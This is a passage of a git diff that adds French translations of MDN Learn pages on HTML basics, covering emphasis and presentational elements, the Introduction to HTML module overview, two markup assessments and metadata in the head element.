En HTML, nous utilisons l'élément {{htmlelement("em")}} (emphase) pour marquer ces circonstances. Outre rendre le document plus intéressant à lire, ces marqueurs sont reconnus par les lecteurs d'écran et exprimés sur un ton de voix différent. Les navigateurs utilisent l'italique par défaut, mais il ne faut pas utiliser cette balise pour mettre en italique. Pour cela, utilisez un élément {{htmlelement("span")}} et du CSS, ou plus simplement un élément {{htmlelement("i")}} (voir ci-dessous).

+ +
<p>Je suis <em>content</em> que vous n'ayez pas été <em>en retard</em>.</p>
+ +

Grande importance

+ +

Pour mettre l'accent sur des mots très importants, nous les soulignons d'un ton particulier dans la langue parlée et nous les mettons en caractères gras dans la langue écrite. Par exemple :

+ +

Ce liquide est hautement toxique.

+ +

Je compte sur vous. Ne soyez pas en retard !

+ +

En HTML, nous utilisons l'élément {{htmlelement("strong")}} (forte importance) comme balise de telles circonstances. En plus de rendre le document plus lisible, ces balises sont reconnues par les lecteurs d'écran et énoncées avec des intonations différentes. Par défaut, les navigateurs mettent le texte marqué en gras, mais il ne faut pas utiliser cette balise pour mettre en gras. Pour cela, utilisez un élément {{htmlelement("span")}}} et du CSS, ou plus simplement un élément {{htmlelement("b")}} (voir ci-dessous).

+ +
<p>Ce liquide est <strong>hautement toxique</strong>.</p>
+
+<p>Je compte sur vous. <strong>Ne soyez pas en retard</strong> !</p>
+ +

Il est possible d'imbriquer strong et em :

+ +
<p>Ce liquide est <strong>hautement toxique</strong> —
+si vous en buvez, <strong>vous pourriez en <em>mourir</em></strong>.</p>
+ +

Apprentissage actif : soulignez l'important !

+ +

Dans ce paragraphe d'apprentissage actif, nous avons donné un exemple modifiable. À l'intérieur, nous aimerions que vous essayiez d'ajouter de l'emphase et de l'importance aux mots quand vous pensez qu'ils en ont besoin, juste pour une bonne pratique.

+ + + +

{{ EmbedLiveSample('Playable_code_5', 700, 500) }}

+ +

Italique, gras, soulignement…

+ +

Les éléments dont nous avons discuté jusqu'à présent ont une sémantique bien définie. La situation avec {{htmlelement("b")}}, {{htmlelement("i")}} et {{htmlelement("u")}} est un peu plus complexe. Ils sont apparus pour que les personnes puissent écrire du texte en gras, en italique ou souligné à une époque où le CSS était encore mal ou pas du tout pris en charge. De tels éléments, qui n'affectent que la présentation et non la sémantique, sont appelés éléments de présentation et ne devraient plus être utilisés, car comme nous l'avons vu précédemment, la sémantique a la plus grande importance pour l'accessibilité, le référencement, etc.

+ +

HTML5 a redéfini <b>, <i> et <u> avec de nouveaux rôles sémantiques quelques peu déroutants.

+ +

Voici la meilleure règle d'or : il est probablement approprié d'utiliser <b>, <i>, ou <u> pour communiquer le sens traditionnellement associé aux caractères gras, italiques ou soulignés, à condition qu'il n'y ait pas d'élément plus approprié. Toutefois, il demeure toujours essentiel de garder présent à l'esprit le concept d'accessibilité. L'écriture en italique n'est pas très utile aux personnes utilisant des lecteurs d'écran ou un système d'écriture autre que l'alphabet latin.

+ +
    +
  • {{HTMLElement('i')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec l'italique : des mots étrangers, une désignation taxonomique, des termes techniques, une pensée…
    • +
  • {{HTMLElement('b')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec les caractères en gras : des mots‑clés, des noms de produits, une phrase liminaire…
    • +
  • {{HTMLElement('u')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec le soulignement : noms propres, mauvaise orthographe...
    • +
+ +
+

Un petit avertissement à propos du soulignement : les gens associent fortement soulignement et hyperliens. Par conséquent, sur le Web, il est préférable de ne souligner que les liens. N'utilisez l'élément <u> que s'il est sémantiquement approprié, mais envisagez d'utiliser les CSS pour remplacer le soulignement par défaut par quelque chose de plus approprié sur le Web. L'exemple ci-dessous illustre comment cela peut être fait.

+
+ +
<!-- noms scientifiques -->
+<p>
+  Le colibri à gorge rouge (<i>Archilochus colubris</i>)
+  est le colibri le plus courant dans l'ouest de l'Amérique du Nord.
+</p>
+
+<!-- mots dans une langue étrangère -->
+<p>
+  Le menu était un océan de mots exotiques comme <i lang="uk-latn">vatrushka</i>,
+  <i lang="id">nasi goreng</i> et <i lang="en">porridge</i>.
+</p>
+
+<!-- une faute d'orthographe connue -->
+<p>
+  Un jour, j'apprendrai comment mieux <u style="text-decoration-line: underline; text-decoration-style: wavy;">épeler</u>.
+</p>
+
+<!-- Mettre en évidence les mots‑clés dans un ensemble d'instructions -->
+<ol>
+  <li>
+    <b>Trancher</b> deux morceaux de pain dans la miche.
+  </li>
+  <li>
+    <b>Mettre</b> une rondelle de tomate et une feuille de laitue
+    entre les deux tranches de pain.
+  </li>
+</ol>
+ +

Résumé

+ +

C'est tout pour l'instant ! Cet article doit vous avoir donné une bonne idée de la façon de commencer à baliser le texte en HTML et présenté les éléments les plus importants dans ce domaine. Il existe énormément d'autres éléments sémantiques à connaître dans ce domaine ; nous en verrons beaucoup plus dans notre article « More Semantic Elements », plus loin dans ce cours. Dans le prochain article, nous examinerons en détail comment créer des hyperliens, qui est peut-être l'élément le plus important sur le Web.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}

+ +

 

+ +

Dans ce module

+ + + +

 

diff --git a/files/fr/learn/html/introduction_to_html/index.html b/files/fr/learn/html/introduction_to_html/index.html new file mode 100644 index 0000000000..d9d5aa9a05 --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/index.html @@ -0,0 +1,65 @@ +--- +title: Introduction au HTML +slug: Apprendre/HTML/Introduction_à_HTML +tags: + - Codage + - HTML + - Introduction au HTML + - Landing + - Liens + - Structure + - Texte + - head + - sémantique +translation_of: Learn/HTML/Introduction_to_HTML +--- +
{{LearnSidebar}}
+ +

Dans son cœur, {{glossary("HTML")}} est un langage vraiment simple, composé d’éléments appliquables à des fragments de texte dans un document pour leur donner un sens différent (est-ce un paragraphe ? est-ce une liste à puces ? est-ce une partie de tableau ?), pour structurer un document en sections logiques (a‑t‑il un en-tête ? est-il sur trois colonnes ? a-t-il un menu de navigation ?) et pour intégrer du contenu comme images ou vidéos dans une page. Ce module est une introduction aux deux premiers concepts ; il présente les notions fondamentales et la syntaxe à connaître pour comprendre le HTML.

+ +

Prérequis

+ +

Il n’y a pas besoin de connaissances préalables en HTML pour parcourir ce module, mais vous devez au moins être familier des ordinateurs et d’une utilisation passive du Web (càd. juste le parcourir et consommer son contenu). Vous devriez avoir un environnement de travail en place tel que détaillé dans cet article et comprendre comment créer et gérer des fichiers tel qu’expliqué dans cet autre article — ces deux articles font partie du module Démarrer avec le Web qui s’adresse aux débutants.

+ +
+

Note : Si vous travaillez sur un ordinateur, tablette ou autre appareil sur lequel il n’est pas posssible de créer vos propres fichiers, vous pourrez essayer (la plupart) des exemples de code grâce à des outils en ligne comme JSBin ou Thimble.

+
+ +

Guides

+ +

Ce module contient les articles suivants vous permettant de parcourir toute la théorie des bases du HTML ; il vous donnera amplement l’occasion de tester vos compétences.

+ +
+
Commencer avec le HTML
+
Cet article porte sur les fondements du HTML pour prendre un bon départ — nous  définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour attiser votre intérêt.
+
Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML
+
head dans un document HTML est une partie du document qui n’est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML grâce  des CSS), des liens aux favicons et des méta-données (auteur du document, mots-clés décrivant le document, etc.).
+
Les concepts fondamentaux du HTML liés au texte
+
Un des rôles principaux du HTML est de donner un sens au texte (on dit aussi sémantiser), afin que le navigateur sache comment l’afficher correctement. Cet article montre comment utiliser le HTML pour fractionner un bloc de texte en une structure avec titres et paragraphes, ajouter des marques d’emphase ou d’importance à des mots, créer des listes, etc.
+
Créer des hyperliens
+
Les hyperliens sont vraiment importants — ce sont eux qui tissent la toile du Web. Cet article montre la syntaxe requise pour faire un lien et expose les meilleures pratiques concernant les liens.
+
La mise en forme avancée du texte
+
Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n’ont pas été mentionnés dans l’article Les concepts fondamentaux du HTML liés au texte. Les éléments abordés ici sont moins connus mais tout aussi utiles. Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc.
+
La structure d'un document et d'un site web
+
De même que HTML est utilisé pour définir les diverses parties indépendantes d’une page (comme un « paragraphe » ou une « image »), HTML l’est pour définir des zones de votre site web (comme l’« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d’un site simple et l’écriture du HTML correspondant.
+
Déboguer du code HTML
+
Écrire du code HTML, c’est bien, mais si quelque chose se passe mal, que faire pour trouver où est l’erreur dans le code ? Cet article vous indique divers outils pour vous aider.
+
+ +

Évaluations

+ +

Les exercices suivants vous permettront de tester votre compréhension des bases du HTML couvertes dans les guides ci‑dessus.

+ +
+
Utiliser les bons éléments pour une lettre
+
Tôt ou tard, nous apprenons tous à écrire une lettre ; cet exemple est utile pour tester vos compétences en mise en forme de texte. L’exercice consiste à baliser une lettre.
+
Organiser la structure d'une page
+
Dans cette évaluation, vous devrez organiser la structure d’une page simple avec un en-tête, un pied de page, un menu de navigation, un contenu principal et une barre latérale.
+
+ +

Voir également

+ +
+
Web literacy basics 1
+
Un excellent cours de la fondation Mozilla qui évoque et teste un grand nombre de compétences évoquées dans le module « Introduction à HTML ». Les apprenants peuvent s’y familiariser avec la lecture, l’écriture et la participation au Web dans ce module en six parties. Découvrez les fondations du Web à travers la production et la collaboration.
+
diff --git a/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.html new file mode 100644 index 0000000000..cdf9dd4cf1 --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.html @@ -0,0 +1,103 @@ +--- +title: Faire une lettre +slug: Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter +tags: + - Codage + - Débutant + - Evaluation + - HTML + - Liens + - Texte + - en-tête +translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exemple utile pour tester nos compétences en matière de mise en forme ! Dans cet exercice, vous devrez opérer le balisage d'une lettre en utilisant les fonctionnalités textes élémentaires et avancées, y compris les hyperliens, et en plus nous testerons vos connaissances avec certains contenus de <head> en HTML.

+ + + + + + + + + + + + +
Prérequis :Avant de se lancer dans cet exercice, vous devez déja avoir travaillé Commencer avec le HTML, Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML, Fondamentaux du texte HTML, Création d'hyperliens et Formatage avancé du texte.
Objectif :Tester vos connaissances en balisage HTML simple et avancé de texte, d'hyperliens et de ce qu'il convient de mettre dans l'élément <head>.
+ +

Point de départ

+ +

Pour commencer cet exercice, vous devez récupérer le texte brut que vous allez baliser et les CSS à inclure dans l'HTML. Créez un nouveau fichier .html avec l'éditeur de texte dans lequel vous allez travailler (ou bien utilisez un site comme JSBin ou Thimble pour faire l'exercice.)

+ +

Projet « lettre »

+ +

Pour ce projet, votre tâche consiste à baliser une lettre destinée à être hébergée dans l'intranet d'une université. La lettre est une réponse d'une chercheuse en poste à une doctorante éventuelle à propos de sa candidature pour travailler à l'université.

+ +

Sémantique de blocs/structures :

+ +
    +
  • Il convient que vous donniez à la totalité du document une structure appropriée comprenant le type de document et les éléments {{htmlelement("html")}}, {{htmlelement("head")}} et {{htmlelement("body")}}.
    • +
  • La lettre doit être marquée avec une structure de paragraphes et d'en‑têtes, en prenant en considération les points suivants : un en‑tête de haut niveau (la ligne  « Re : ») et trois en-têtes de deuxième niveau.
    • +
  • Les dates de début des semestres, les sujets d'étude et les danses exotiques seront balisées avec les types de listes appropriés.
    • +
  • Mettez les deux adresses dans l'élement {{htmlelement("address")}}. En plus, chaque ligne des adresses doit être mise sur une nouvelle ligne sans que ce soit un nouveau paragraphe.
    • +
+ +

Sémantique en ligne :

+ +
    +
  • Les noms de l'expéditeur et du destinataire (et « Tél » et « e‑mail ») doivent être marqués comme étant de grande importance.
    • +
  • Les quatre dates du document doivent être indiquées dans des éléments appropriés contenant des dates lisibles par la machine.
    • +
  • La première adresse et la première date de la lettre doivent recevoir une valeur d'attribut de classe « sender-column » ; le CSS que vous ajouterez plus tard les alignera à droite, comme c'est le cas dans une mise en page de lettre classique.
    • +
  • Les cinq acronymes/abréviations dans le corps du texte de la lettre seront marqués pour permettre leur développement.
    • +
  • Les six indices/exposants seront balisés de manière appropriée.
    • +
  • Les symboles « degré »,  « plus grand que » , « multiplier » seront marqués avec les références d'entités voulues.
    • +
  • Essayez de marquer au moins deux mots importants en gras/italique.
    • +
  • Deux emplacements nécessitent un hyperlien ; ajoutez les liens appropriés avec des intitulés. Pour l'emplacement sur lequel le lien pointe, utilisez simplement http://example.com.
    • +
  • La citation et la devise de l'université doivent être marquées avec les éléments appropriés.
    • +
+ +

Dans l'en‑tête du document :

+ +
    +
  • Le jeu de caractères sera précisé comme étant utf-8 avec la balise meta appropriée.
    • +
  • L'auteur de la lettre sera indiqué dans une balise meta adéquate.
    • +
  • Les CSS fournies seront incorporées avec le marquage approprié.
    • +
+ +

Conseils et astuces

+ +
    +
  • Utilisez le validateur HTML W3C pour valider votre HTML ; Vous aurez des points supplémentaires s'il est valide.
    • +
  • Il n'est pas nécessaire de connaître les CSS pour faire cet exercice ; vous avez juste besoin de le mettre dans un élément HTML.
    • +
+ +

Exemple

+ +

La capture d'écran suivante montre ce à quoi la lettre devrait ressembler après le balisage.

+ +

Présentation de la lettre

+ +

Évaluation

+ +

Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le Learning Area Discourse thread ou sur le canal IRC #mdn sur Mozilla IRC. Essayez l'exercice d'abord — il n'y a rien à gagner à tricher !

+ +

{{PreviousMenuNext("Apprendre/HTML/Introduction_to_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_to_HTML")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.html new file mode 100644 index 0000000000..acbe843b62 --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.html @@ -0,0 +1,96 @@ +--- +title: Structurer une page de contenu +slug: Apprendre/HTML/Introduction_à_HTML/Structuring_a_page_of_content +translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content +--- +
{{LearnSidebar}}
+{{PreviousNext("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Il est essentiel de savoir structurer une page de contenu prête à être mise en forme grâce au CSS. Cette évaluation va vous permettre de vous tester sur votre capacité à réfléchir au rendu visuel final d'une page et à choisir la sémantique structurelle appropriée pour construire une bonne mise en page.

+ + + + + + + + + + + + +
Prérequis :Avant de commencer cette évaluation, vous devriez avoir déjà travaillé sur le reste du cours, en particulier sur Structure de Site Web et de document
Objectif :Tester vos connaissances sur la structure des pages web et d'une représentation prospective d'un design de mise en page avec un balisage.
+ +

Point de départ

+ +

Pour commencer cet exercice, vous pouvez télécharger l'archive contenant les fichiers nécessaires à cette évaluation. Elle contient :

+ +
    +
  • le fichier HTML auquel vous allez devoir ajouter le balisage structurel,
    • +
  • le fichier CSS pour styliser la page,
    • +
  • les images utilisées dans la page.
    • +
+ +

Décompressez l'archive sur votre ordinateur, ou bien utilisez un site web comme JSBin ou Thimble pour faire votre évaluation.

+ +

Aperçu du projet

+ +

Dans ce projet, l'objectif est d'ajouter des éléments structurels au contenu de la page d'accueil d'un site d'observation d'oiseaux pour parfaire sa mise en page. La page devra contenir :

+ +
    +
  • un en‑tête sur toute la largeur de la page avec le titre de la page, le logo du site et le menu de navigation. Le titre et le logo apparaîtront côte à côte une fois le style appliqué, et la navigation sera juste au‑dessous du menu,
    • +
  • une zone de contenu principal de deux colonnes : un bloc principal avec le texte de bienvenue et une barre latérale avec des vignettes d'images,
    • +
  • un pied de page avec les informations de droits d'auteur et les crédits.
    • +
+ +

Vous devez ajouter les enveloppes appropriées pour :

+ +
    +
  • l'en-tête
    • +
  • le menu de navigation
    • +
  • le contenu principal
    • +
  • le texte de bienvenue
    • +
  • la barre latérale avec les images
    • +
  • le pied de page
    • +
+ +

Vous devez aussi

+ +
    +
  • appliquer à la page les CSS fournies en ajoutant un élément {{htmlelement("link")}} juste au‑dessous de celui existant.
    • +
+ +

Conseils et astuces

+ +
    +
  • Utilisez le « W3C HTML validator » pour valider votre HTML ; vous aurez des points bonus si la validation s'opère autant que possible (la ligne « googleapis » est une ligne utilisée pour importer des polices personnalisées dans la page à partir du service « Google Fonts » ; elle ne sera pas validée, donc ne vous en inquiétez pas).
    • +
  • Il n'est pas nécessaire de connaître quoi que ce soit des CSS pour faire cet exercice ; vous avez juste besoin de placer les CSS fournies dans l'élément HTML.
    • +
  • Les CSS jointes sont conçues de telle sorte que les éléments structuraux adéquats ont été ajoutés dans le balisage, ils apparaîtront en vert dans le rendu de la page.
    • +
  • Si vous êtes bloqué et ne voyez pas où mettre tel élément, cela peut vous aider de tracer un diagramme des blocs de disposition de la page et d'écrire sur chaque élément ce qui, à votre avis devrait envelopper chaque bloc.
    • +
+ +

Exemple

+ +

La capture d'écran suivante montre un exemple de ce à quoi la page d'accueil peut ressembler après avoir été balisée.

+ +

L'exemple de l'exercice complété ; une page web unique sur l'observation des oiseaux, comprenant un en-tête "Observons les oiseaux", des photos d'oiseaux et un message de bienvenue.

+ +

ÉvaluationEdit

+ +

Si cette évaluation fait partie d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur/formateur pour notation. Si vous faites de l'auto‑formation vous pouvez obtenir un guide d'auto‑évaluation en le demandant sur le Learning Area Discourse thread ou sur le canal IRC #mdn sur Mozilla IRC. Essayez l'exercice d'abord — il n'y a rien à gagner à tricher !

+ +

{{PreviousMenu("Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.html new file mode 100644 index 0000000000..f4d2163b6f --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.html @@ -0,0 +1,286 @@ +--- +title: Qu'avez-vous dans la tête ? Métadonnées en HTML +slug: Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML +translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

L'en-tête {{glossary("Head", "head")}} dans un document HTML est une partie du document qui n'est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML avec des CSS), des liens aux favicons personnalisés et d'autres méta-données (auteur du document, mots-clés décrivant le document, etc.). Cet article porte sur tout ceci et plus, pour vous donner de bonnes bases pour gérer les balises et le code qui devraient figurer dans l'en-tête.

+ + + + + + + + + + + + +
Prérequis:Connaître les bases du HTML, telles qu'elles sont exposées dans l'article Commencer avec le HTML
Objectifs:En savoir plus sur la balise <head> du HTML, son objet, les éléments les plus importants qu'elle peut contenir et l'effet qu'elle peut avoir sur le document HTML.
+ +

Qu'est-ce que l'en-tête de HTML ?

+ +

Revoyons le document HTML de base de l' article précédent:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>Ma page test</title>
+  </head>
+  <body>
+    <p>Voici ma page</p>
+  </body>
+</html>
+ +

Le contenu de l'en-tête HTML {{htmlelement("head")}} — à la difference du contenu de l'élément {{htmlelement("body")}} (affiché quand la page est chargée par le navigateur) — n'est pas affiché dans la page du navigateur. Le travail de la balise <head> est de contenir les {{glossary("Metadata", "métadonnées")}} à propos du document. Dans l'exemple ci-dessus, l'en-tête est plutôt petit :

+ +
<head>
+  <meta charset="utf-8">
+  <title>Ma page test</title>
+</head>
+ +

Toutefois dans les pages plus importantes, l'en-tête peut contenir un grand nombre d'éléments — essayez d'aller sur certains de vos sites web préférés et utilisez les outils de développement pour vérifier le contenu de l'en-tête. Notre objectif ici n'est pas de vous montrer comment utiliser tout ce qui peut être mis dans l'élément <head>, mais plutôt de vous apprendre à utiliser les outils les plus évidents, que vous souhaiterez inclure dans l'en-tête, et vous les rendre plus familiers. Commençons.

+ +

Ajouter un titre

+ +

Nous avons déjà vu l'élément {{htmlelement ("title")}} — qui peut être utilisé pour ajouter un intitulé au document. Il peut toutefois être confondu avec l'élément {{htmlelement ("h1")}}, pour ajouter un en‑tête de haut nieau au contenu de votre page dans l'élément {{htmlelement("body")}} — quelquefois désigné comme étant le « titre de la page ». Mais ce sont des choses différentes !

+ +
    +
  • L'élément {{htmlelement("h1")}} apparaît dans la page quand elle est chargée dans le navigateur — généralement, il devrait être utilisé une fois par page, pour marquer le titre du contenu de votre page (le titre d'une histoire, ou d'une actualité, ou tout ce qui vous paraît approprié).
    • +
  • L'élément {{htmlelement("title")}} est une métadonnée qui représente l'intitulé du document HTML global (non le contenu du document).
    • +
+ +

Apprentissage actif : inspection d'un exemple simple 

+ +
    +
  1. Pour commencer cet apprentissage actif, nous vous invitons à télécharger une copie de notre  page-titre-exemple sur le dépôt Github. Pour ce faire, soit : + +
      +
    1. copiez et collez le code hors de la page dans un nouveau fichier texte dans votre éditeur de code, puis sauvegardez-le dans un endroit raisonnable.
      2. +
    2. pressez le bouton « Raw » de la page : le texte brut apparaît dans un nouvel onglet du navigateur. Ensuite, choisissez Fichier> Enregistrer la page sous ... dans le menu du navigateur, puis choisissez un endroit pour enregistrer le fichier.
      3. +
    +
    2. +
  2. Maintenant, ouvrez le fichier dans votre navigateur. Vous devriez voir quelque chose comme ça : +

    Une simple page web page dont <title> a la valeur «Élément <title>» et <h1> la valeur Élément <h1>.Il devrait désormais être évident de situer où le contenu de <h1> apparaît  et où celui de <title> apparaît !

    +
    3. +
  3. +

    Vous devriez aussi essayer d'ouvrir ce code dans votre éditeur, modifier le contenu de ces éléments, puis rafraîchir la page dans votre navigateur. Amusez-vous avec ces fonctions.

    +
    4. +
+ +

Le contenu de l'élément <title> est aussi utilisé de manières différentes . Par exemple, si vous tentez de marquer cette page dans vos Marques-pages ( Marques-pages > Marquer cette page ou bien l'étoile dans la barre d'outils de Firefox), vous verrez que le contenu de <title> est suggéré comme nom pour le marque-page.

+ +

Une page Web marquée dans Firefox ; le nom du signet a été automatiquement rempli avec le contenu de l'élément <title>.

+ +

Le contenu de <title> est aussi utilisé dans les résultats de recherches, comme vous le verrez ci‑dessous.

+ +

Métadonnées : l'élément <meta>

+ +

Les métadonnées sont des données qui décrivent des données, et le langage HTML a une manière « officielle » d'ajouter des métadonnées à un document — l'élément {{htmlelement("meta")}}. Bien sûr, d'autres choses, dont nous parlons dans cet article, pourraient aussi être considérées comme des métadonnées. Il y a une panoplie d'autres éléments de type <meta> qui auraient pu figurer dans l'en-tête de votre page, mais nous n'en parlerons pas pour l'instant, car ce serait trop déroutant. À la place, nous expliquerons quelques éléments que vous pourriez voir, juste pour vous donner une idée.

+ +

Définition de l'encodage des caractères du document

+ +

Dans l'exemple que nous avons vu au-dessus, cette ligne était présente :

+ +
<meta charset="utf-8">
+ +

Cet élément définit l'encodage des caractères du document - le jeu de caractères qu'il est autorisé à utiliser. utf-8 est un jeu de caractères universel qui inclut à peu près tous les caractères des langues humaines. Cela signifie que votre page web sera capable de gérer l'affichage de n'importe quelle langue ; c'est donc une bonne idée de le définir dans chaque page web que vous créez ! Par exemple, votre page peut gérer l'anglais et le japonais sans aucun souci :

+ +

Une page Web contenant des caractères français et japonais, le jeu de caractères étant universel ou utf-8. Les deux langues s'affichent correctement.Si vous définissez votre encodage de caractères en ISO-8859-1 , par exemple (le jeu de caractères de l'alphabet latin), le rendu de votre page sera totalement perturbé :

+ +

Une page Web contenant des caractères français et japonais, l'encodage des caractères étant réglé sur ISO latin. Les caractères japonais ne s'affichent pas correctement.

+ +
+

Note : Certains navigateurs (par ex. Chrome) corrigent automatiquement les encodages  incorrects, ainsi selon le navigateur utilisé, ce problème pourrait vous passer totalement inaperçu. Vous devriez quand même définir un encodage utf-8 sur votre page de toutes façons pour éviter tout problème potentiel avec d'autres navigateurs.

+
+ +

Apprentissage actif : expérience avec l'encodage des caractères

+ +

Pour cela, reportez-vous au modèle HTML simple que vous avez obtenu dans la section précédente sur <title> (la page title-example.html), faites un essai de modification de la valeur de la métadonnée charset en ISO-8859-1 et ajoutez le japonais à votre page. Voici le code que nous avons utilisé :

+ +
<p>Japanese example: ご飯が熱い。</p>
+ +

Ajouter  le nom de l'auteur et une description

+ +

De nombreux éléments <meta> icontiennent les attributs name et content :

+ +
    +
  • name définit le type de méta élément ; le type d'informations  contenu.
    • +
  • content définit le contenu réel de la métadonnée.
    • +
+ +

Il est utile d'inclure ces deux méta-éléments dans votre page pour définir son auteur et donner une courte description de son contenu. Voyons un exemple :

+ +
<meta name="author" content="Chris Mills">
+<meta name="description" content="La Zone Apprentissage des documents web
+du MDN a pour but de donner aux débutants du Web tout ce qu'ils doivent
+savoir pour commencer le développement de pages webs et d'applications.">
+ +

Préciser l'auteur peut être intéressant dans certains cas : il est utile de savoir qui a écrit la page pour le contacter et lui poser des questions à propos du contenu. Certains systèmes de gestion de contenu procèdent à l'extraction automatique des informations sur l'auteur de la page et les rendent disponibles à cette fin.

+ +

Définir une description qui incorpore des mots-clés relatifs au contenu de la page est utile ; votre page pourra ainsi apparaître plus haut dans la liste de recherches par pertinence créée par un moteur de recherche (ce processus se nomme Search Engine Optimization ou {{glossary("SEO")}} — optimisation du moteur de recherche.)

+ +

Apprentissage actif : utilisation des descriptions dans les moteurs de recherche.

+ +

La description est aussi utilisée dans le résultat des moteurs de recherche. Faisons un exercice pour mieux comprendre.

+ +
    +
  1. Allez sur la page d'accueil de Mozilla Developer Network.
    2. +
  2. Regardez le source de la page (Clic droit/Ctrl, choissisez « Code source de la page » dans le menu contextuel.)
    3. +
  3. Trouvez la balise méta description. Elle ressemble à ceci : + 
    <meta name="description" content="MDN Web Docs fournit
+ des informations sur les technologies web ouvertes comme HTML,
+ CSS et les API utilisées pour les sites web et les applications
+ web. On y trouve également de la documentation destinées aux
+ développeurs à propos des produits Mozilla tels que les
+ outils de développement de Firefox.">
    +
    4. +
  4. Maintenant, cherchez « Mozilla Developer Network » sur votre moteur de recherche favori (nous avons utilisé Google). Vous remarquerez que le contenu de la <meta> description et de l'élément <title> sont utilisés dans les résultats de recherche. Cela vaut vraiment la peine ! +

    Une page de recherche Google pour "MDN web docs"

    +
    5. +
+ +
+

Note : Avec Google, vous verrez quelques sous-pages pertinentes de MDN listées sous le lien de la page d'accueil — ce sont des liens du site ; ils sont configurables dans les outils de Google's webmaster tools - ces outils sont donc un moyen de rendre les résultats de recherche de votre site meilleurs avec le moteur de recherche de Google.

+
+ +
+

Note: Plusieurs fonctions <meta> ne sont plus utilisées. Par exemple, l'élément <meta> keyword (<meta name= "keywords" content="mettez, vos, mot-clés, ici">) — qui est censé fournir des mots-clés pour les moteurs de recherche, afin de déterminer la pertinence de la page pour différents termes de recherche — est ignoré par les moteurs de recherche, car les polluposteurs remplissaient simplement la liste avec des centaines de mots-clés, biaisant les résultats.

+
+ +

Autres types de métadonnées

+ +

En parcourant le web, vous trouverez d'autres types de métadonnées. Beaucoup de fonctionnalités que vous verrez sur les sites webs sont des créations propriétaires, conçues pour être utilisées sur certains sites ( comme les réseaux sociaux ) avec des informations spécifiques qu'ils peuvent utiliser ;

+ +

Par exemple, Open Graph Data est un protocole de métadonnées que Facebook a inventé pour fournir des métadonnées plus riches pour les sites webs. Dans le code source de MDN vous trouverez ceci :

+ +
<meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png">
+<meta property="og:description" content="MDN Web Docs fournit des
+informations sur les technologies web ouvertes comme HTML, CSS et les API
+utilisées pour les sites web et les applications web. On y trouve également
+de la documentation destinées aux développeurs à propos des produits
+Mozilla tels que les outils de développement de Firefox.">
+<meta property="og:title" content="Mozilla Developer Network">
+ +

En conséquence, lorsque vous faites un lien à MDN sur Facebook, le lien apparaît avec une image et une description : une expérience plus riche pour les utilisateurs.

+ +

Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.Twitter a aussi une métadonnée propriétaire, qui a un effet similaire quand l'URL du site est affichée sur twitter.com. Par exemple:

+ +
<meta name="twitter:title" content="Mozilla Developer Network">
+ +

Ajouter des icônes personnalisées à un site

+ +

Pour enrichir davantage le design de votre site, vous pouvez ajouter des références à des icônes personnalisées dans vos métadonnées et celles-ci seront affichées dans certains contextes.

+ +

